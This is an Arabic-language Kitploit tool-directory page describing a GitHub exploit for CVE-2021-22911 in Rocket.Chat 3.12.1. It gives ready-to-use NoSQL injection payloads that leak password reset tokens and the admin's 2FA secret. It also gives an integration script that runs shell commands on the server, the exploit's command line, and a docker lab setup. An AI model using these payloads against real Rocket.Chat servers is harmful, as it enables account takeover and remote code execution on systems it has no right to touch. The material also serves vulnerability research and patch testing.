Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2021-22911 | Kitploit
أدوات/GitHubGitHub/mrdottt/cve-2021-22911
تصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubmrdottt/cve-2021-22911

CVE-2021-22911

عرض المستودع
1منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2021-22911

حقن NoSQL أعمى بدون مصادقة يؤدي إلى تنفيذ تعليمات برمجية عن بُعد في Rocket Chat 3.12.1

  • طريقة getPasswordPolicy معرضة لهجمات حقن NoSQL ولا تتطلب مصادقة/تفويضًا. يمكن استخدامها للاستيلاء على الحسابات عن طريق تسريب رموز إعادة تعيين كلمة المرور. يؤدي الاستيلاء على حساب مسؤول إلى تنفيذ تعليمات برمجية عن بُعد.

الشرح

  1. اختطاف حساب المستخدم (بدون مصادقة)
  • يوجد حقن NoSQL في نقطة نهاية getPasswordPolicy في معامل token الخاص بإعادة تعيين كلمة المرور، والذي يستقبل كائن json مما يسمح لنا باستخدام عامل التشغيل $regex. والذي نستخدمه لتنفيذ حقن NoSQL أعمى للحصول على رمز إعادة التعيين.
  1. تصعيد الامتيازات إلى مسؤول (مصادق عليه)
  • لذا فمن المرجح أن يكون حساب المسؤول محميًا بـ 2fa. حتى إذا غيّرنا كلمة مرور المسؤول من خلال (1)، فسيطلب رمز 2fa عند تسجيل الدخول.

  • تستقبل نقطة نهاية api الخاصة بـ users.list معامل query المعرض لحقن nosql. كما يمكننا أيضًا استرداد البيانات عن طريق إلقاء خطأ.

  • نقوم بتشغيل الاستعلام التالي للحصول على سر 2fa الخاص بالمسؤول: {"$where":"this.username==='admin' && (()=>{ throw this.services.totp.secret })()"}

  • بعد ذلك نقوم فقط بتنفيذ (1) لإعادة تعيين كلمة مرور المسؤول واستخدام سر 2fa لتوليد رمز يمكننا استخدامه لتسجيل الدخول.

  • محدّث: يمكنك أيضًا استرداد رمز إعادة التعيين بنفس الطريقة التي استرددت بها سر 2fa : {"$where":"this.username==='admin' && (()=>{ throw this.services.password.reset.token })()"}

  1. RCE (مصادق عليه - مسؤول)
  • يمتلك Rocket.Chat ميزة تسمى Integrations تسمح بإنشاء خطافات ويب واردة وصادرة. يمكن أن تحتوي خطافات الويب هذه على برامج نصية مرتبطة بها يتم تنفيذها عند تشغيل خطاف الويب.
  • ننشئ تكاملًا مع البرنامج النصي التالي:
root@kitploit:~
const require = console.log.constructor('return process.mainModule.require')();
const { exec } = require('child_process');
exec('command here');
  • بعد ذلك نقوم فقط بتشغيل خطاف الويب للحصول على RCE :)

الاستخدام

  • ستحتاج إلى البريد الإلكتروني لمستخدم بصلاحيات منخفضة لا يملك إعداد 2fa. (-u)
  • ستحتاج أيضًا إلى معرفة البريد الإلكتروني للمسؤول. ليست مشكلة إذا كان المسؤول محميًا بـ 2fa. (-a)
root@kitploit:~
python3 exploit.py -u "[email protected]" -a "[email protected]" -t "http://rocket.local"

البيئة

  • تم اختباره على Rocket Chat 3.12.1
  • بناء بيئة الاختبار الخاصة بك باستخدام docker:
root@kitploit:~
docker run --name db -d mongo:3.6 --smallfiles --replSet rs0 --oplogSize 128
docker exec -ti db mongo --eval "printjson(rs.initiate())"
docker run --name rocketchat -p 80:3000 --link db --env ROOT_URL=http://localhost --env MONGO_OPLOG_URL=mongodb://db:27017/local -d rocket.chat:3.12.1

  • فعّل سياسة كلمة المرور (Password Policy)
  • فعّل 2FA للمسؤول
  • سجّل مستخدمًا عاديًا.

ملاحظة: إذا كنت لا تريد أن يكون المسؤول محميًا بـ 2FA، يمكنك القيام بما يلي.

  1. أرسل بريد نسيان كلمة المرور
  2. احصل على رمز إعادة التعيين للمسؤول
  3. غيّر كلمة المرور باستخدام رمز إعادة التعيين المسترد
root@kitploit:~
# Admin Account Takover [ No 2fa ]
forgotpassword(adminmail,target)
token = resettoken(target)
changingpassword(target,token)

الاعتمادات

  • https://hackerone.com/reports/1130721 ( مصدر sonar )
  • https://blog.sonarsource.com/nosql-injections-in-rocket-chat

Exploit-db

  • https://www.exploit-db.com/exploits/49960 ( v1 )
  • https://www.exploit-db.com/exploits/50108 ( v2 )
تنزيل الأداة